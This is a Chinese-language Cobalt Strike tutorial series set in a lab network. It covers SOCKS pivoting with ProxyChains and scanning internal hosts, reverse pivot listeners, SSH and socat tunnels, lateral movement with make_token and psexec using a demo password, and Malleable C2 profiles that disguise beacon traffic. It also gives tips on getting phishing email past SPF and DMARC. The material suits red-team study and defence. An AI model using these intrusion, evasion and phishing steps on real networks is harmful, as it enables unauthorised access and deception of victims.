21、反向转发通道的建立
0x00 前言
这一节将介绍使用 ProxyChains 进行代理转发与使用反向转发的方法。
0x01 使用 ProxyChains 进行代理转发
介绍
使用 ProxyChains 可以使我们为没有代理配置功能的软件强制使用代理
配置 /etc/proxychains.conf
文件
演示
接下来继续 中的演示环境:
攻击机 IP:192.168.175.200
上线主机:外部IP 192.168.175.130、内部IP 192.168.232.133
攻击目标:192.168.232.0/24 地址段
1、设置 socks 代理
首先开启交互模式,之后开启 socks 代理
Copy beacon> sleep 0
[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
beacon> socks 9527
[+] host called home, sent: 16 bytes
[+] started SOCKS4a server on: 9527
2、配置 ProxyChains
在攻击机上,配置 /etc/proxychains.conf
文件的最后一行,根据当前攻击主机 IP 与设置的 Socks 端口,修改如下:
Copy socks4 192.168.175.200 9527
3、开始使用 ProxyChains
Copy proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389
-sT:使用 TCP 扫描
-Pn:不使用 Ping
-p:指定扫描端口
注:不加上 -sT -Pn 参数,将无法使用 proxychains 进行代理扫描
Copy > proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 23:05 EDT
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:80 ... OK
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:445 ... OK
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:3389 ... OK
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:443 <--denied
Nmap scan report for 192.168.232.132
Host is up (0.19s latency).
PORT STATE SERVICE
80/tcp open http
443/tcp closed https
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds
通过扫描可以看到目标 80 端口是开放的,接下来使用 curl 作为对比示例。
Copy curl 192.168.232.132
proxychains curl 192.168.232.132
Copy > curl 192.168.232.132
curl: (7) Failed to connect to 192.168.232.132 port 80: No route to host
> proxychains curl 192.168.232.132
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:80 ... OK
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
……内容太多,此处省略……
0x02 反向转发
继续使用上面的演示环境,首先右击上线主机会话,选择 Pivoting --> Listener
,除了 Name 选项之外,CS 都会自动配置好,这里直接使用默认的配置信息。
之后生成一个 Windows 可执行文件,选择上一步生成的监听器,如果目标是 64 位则勾选使用 x64 Payload 的选项。
之后将该可执行文件在目标主机上执行即可,在现实环境中可以尝试使用钓鱼邮件的方式诱导目标执行。
当目标执行该文件后,就会发现当前不出网的 192.168.232.132 主机已经上线了。
有一说一,关于这部分网上大部分教程还是 CS 3.x 版本的教程,而在 4.0 的操作中个人感觉要方便很多。
网上关于这部分内容的 CS 4.0 的教程真的是少之又少,一开始在参考 3.x 教程的时候踩了很多坑,最后终于某内部知识库发现了一篇关于这部分内容的 4.0 教程,在该教程的参考下才发现居然如此简单。
22、通过SSH开通通道
0x00 前言
这一节将来介绍如何通过 SSH 通道进行攻击。
0x01 通过 SSH 建立通道
1、连接到上图中蓝色区域里的 PIVOT 主机并开启端口转发
Copy ssh -D 1080 user@<blue pivot>
该命令中的 -D 参数会使 SSH 建立一个 socket,并去监听本地的 1080 端口,一旦有数据传向那个端口,就自动把它转移到 SSH 连接上面,随后发往远程主机。
2、在红色区域的 PIVOT 主机上开启通过 SSH Socks 的 445 端口转发
Copy socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:<target>:445
socat 可以理解成 netcat 的加强版。socat 建立 socks 连接默认端口就是 1080 ,由于我们上面设置的就是 1080,因此这里不需变动。如果设置了其他端口,那么这里还需要在命令最后加上 ,socksport=<port>
指定端口才行。
3、在攻击者控制的主机上运行 beacon,使其上线
Copy 注意需要使用 administrator 权限运行 beacon
4、在上线的主机上运行以下命令
Copy make_token [DOMAIN\user] [password]
jump psexec_psh <red pivot> [listener]
整体的流程就是下面这张图一样。
0x02 演示
我在本地搭建了这样的一个环境。
首先使 Win1 主机上线,接着在 Linux1 主机上通过 SSH 连接到 Linux2 主机。
Copy ssh -D 1080 user@192.168.175.146
Copy > ssh -D 1080 user@192.168.175.146
user@192.168.175.146's password:
Last login: Fri Jul 31 20:00:54 2020 from 192.168.175.1
user@ubuntu:~$
2、在 Linux1 主机上开启 445 端口转发
Copy socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:192.168.232.132:445
3、在 Win1 主机上运行以下命令使 Win2 上线
Copy make_token teamssix\administrator Test123!
jump psexec_psh 192.168.175.200 smb
Copy beacon> make_token teamssix\administrator Test123!
[*] Tasked beacon to create a token for teamssix\administrator
[+] host called home, sent: 61 bytes
[+] Impersonated WINTEST\Administrator
beacon> jump psexec_psh 192.168.175.200 smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_532c) on 192.168.175.200 via Service Control Manager (PSH)
[+] host called home, sent: 5886 bytes
[+] received output:
Started service 4aea3b9 on 192.168.175.200
[+] host called home, sent: 204473 bytes
[+] established link to child beacon: 192.168.232.132
4、随后便可以看到通过 SSH 上线的主机
23、malleable命令
0x00 前言
这节课将来看看如何优化 CS 的攻击载荷,从而使它更方便、隐蔽些。
0x01 malleable 命令和控制
malleable 是一种针对特定领域的语言,主要用来控制 Cobalt Strike Beacon
在开启 teamserver 时,在其命令后指定配置文件即可调用,比如:
Copy ./teamserver [ip address] [password] [profile]
0x02 编写配置文件
1、定义事务指标
Copy http-get {
# 指标
}
http-post {
# 指标
}
2、控制客户端和服务端指标
Copy http-get {
client {
# 指标
}
server {
# 指标
}
}
3、set 操作
set 语句是给一个选项赋值的方法,以分号结束。
Copy set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1)";
malleable 给了我们很多选项,比如:
Copy jitter # 控制 beacon 默认回连的抖动因子
maxdns # 控制最大 DNS 请求,限制最大数量可以使 DNS Beacon 发送数据看起来正常些
sleeptime # 控制 beacon 的全部睡眠时间
spawnto
uri
useragent # 控制每次发送请求的 useragent
sleeptime
和 jitter
两个选项是很重要的
Copy header "Accept" "text/html,application/xhtml";
header "Referer" "https://www.google.com";
header "Progma" "no-cache";
header "Cache-Control" "no-cache";
5、其他指标
Copy header "header" "value";
parameter "key" "value";
6、转换/存储数据
Copy metadata {
netbios;
append "-.jpg";
uri-append;
}
7、数据转换语言
Copy append "string"
base64
netbios
netbiosu
prepend "string"
24、C2lints实例演示
0x00 前言
这一节将使用该项目中的 Malleable-C2-Profiles/APT/havex.profile
配置文件作为示例。
0x01 测试配置文件是否有效
可以使用 c2lint 工具对配置文件进行测试,以判断配置文件编写的是否有效。
来到 cobalt strike 目录下,可以看到有一个 c2lint 文件,该文件需要在 Linux 下运行。
在运行的结果中,绿色正常(这里更像青色),黄色告警,红色错误,比如运行 Malleable-C2-Profiles
项目里的 havex.profile
文件。
Copy ./c2lint ./Malleable-C2-Profiles/APT/havex.profile
当配置文件存在错误的时候,就会以红色显示出来
0x02 运行 teamserver
Copy ./teamserver [teamserver_ip] [teamserver_password] [profile]
Copy > ./teamserver 192.168.12.2 password ./Malleable-C2-Profiles/APT/havex.profile
[*] Will use existing X509 certificate and keystore (for SSL)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] I see you're into threat replication. ./Malleable-C2-Profiles/APT/havex.profile loaded.
[+] Team server is up on 50050
这里调用的 havex.profile 配置文件,该配置文件里对 cookie 进行了 base64 编码。
开启 cobalt strike 后,使主机上线,通过 wireshark 抓包可以发现数据包确实符合这些特征。
关于 Malleable C2 文件的使用,这里只是大概记录了一些,想了解更多关于 Malleable C2 文件的内容或者注意事项等,可以参考 A-TEAM 团队的 CS 4.0 用户手册。
25、邮件防御
0x00 前言
Cobalt Strike 不是什么工作情况都能胜任的工具,因此就需要我们根据不同的情况去做一些辅助工作。
最后这几节将学习免杀部分的东西,这一节将主要介绍邮件防御方面的相关概念。
0x01 介绍
1、SPF、DKIM、DMARC
SPF、DKIM、DMARC 都是邮件用于帮助识别垃圾信息的附加组件,那么作为一个攻击者,在发送钓鱼邮件的时候,就需要使自己的邮件能够满足这些组件的标准,或者发送到未配置这些组件的域。
在理解这些防御标准前,需要先理解如何在因特网上通过 SMTP 发送邮件。
2、SMTP
发送一封邮件的过程大概是下面这个样子,这里以QQ邮箱为例。
Copy > telnet smtp.qq.com 25
HELO teamssix
auth login
base64编码后的邮箱名
base64编码后的授权码
MAIL FROM: <evil_teamssix@qq.com>
RCPT TO: <target_teamssix@qq.com>
DATA
邮件内容
.
QUIT
0x02 防御策略
1、SPF
SPF Sender Policy Framework
发送人策略框架,SPF 主要用来防止随意伪造发件人。其做法就是设置一个 SPF 记录,SPF 记录实际上就是 DNS 的 TXT 记录。
如果邮件服务器收到一封来自 IP 不在 SPF 记录里的邮件则会退信或者标记为垃圾邮件。
我们可以使用以下命令查看目标的 SPF 记录。
Copy dig +short TXT target.com
Copy > dig +short TXT qq.com
"v=spf1 include:spf.mail.qq.com -all"
上面的 include:spf.mail.qq.com
表示引入spf.mail.qq.com
域名下的 SPF 记录。
Copy > dig +short TXT spf-a.mail.qq.com
"v=spf1 ip4:203.205.251.0/24 ip4:103.7.29.0/24 ip4:59.36.129.0/24 ip4:113.108.23.0/24 ip4:113.108.11.0/24 ip4:119.147.193.0/24 ip4:119.147.194.0/24 ip4:59.78.209.0/24 ip4:113.96.223.0/24 ip4:183.3.226.0/24 ip4:183.3.255.0/24 ip4:59.36.132.0/24 -all"
上面的 ip4:203.205.251.0/24 ip4:103.7.29.0/24
表示只允许这个范围内的 IP 发送邮件。
2、DKIM
DKIM DomainKeys Identified Mail
域名密钥识别邮件,DKIM 是一种防范电子邮件欺诈的验证技术,通过消息加密认证的方式对邮件发送域名进行验证。
邮件接收方接收邮件时,会通过 DNS 查询获得公钥,验证邮件 DKIM 签名的有效性,从而判断邮件是否被篡改。
3、DMARC
DMARC Domain-based Message Authentication, Reporting & Conformance
基于域的消息认证,报告和一致性。
它用来检查一封电子邮件是否来自所声称的发送者。DMARC 建立在 SPF 和 DKIM 协议上, 并且添加了域名对齐检查和报告发送功能。这样可以改善域名免受钓鱼攻击的保护。
可以使用下面的命令查看目标的的 DMARC 记录。
Copy dig +short TXT _dmarc.target.com
Copy > dig +short TXT _dmarc.qq.com
"v=DMARC1; p=none; rua=mailto:mailauth-reports@qq.com"
关于这些记录查询返回结果的解释可参考文章末的参考链接。
0x03 发送钓鱼邮件的一些注意事项
1、检测目标是否有 SPF 记录,如果有则可能会被拦截
2、检测目标 DMARC 记录的 p 选项是否为 reject ,如果有则可能会被拒绝
3、模板中嵌入的 URL 地址,不要使用 IP 地址,要保证使用完整的 URL地址
4、邮件的附件中不能附上一些可执行文件,比如 exe 格式的文件,因为一些邮件过滤器可能会将这些可执行文件删除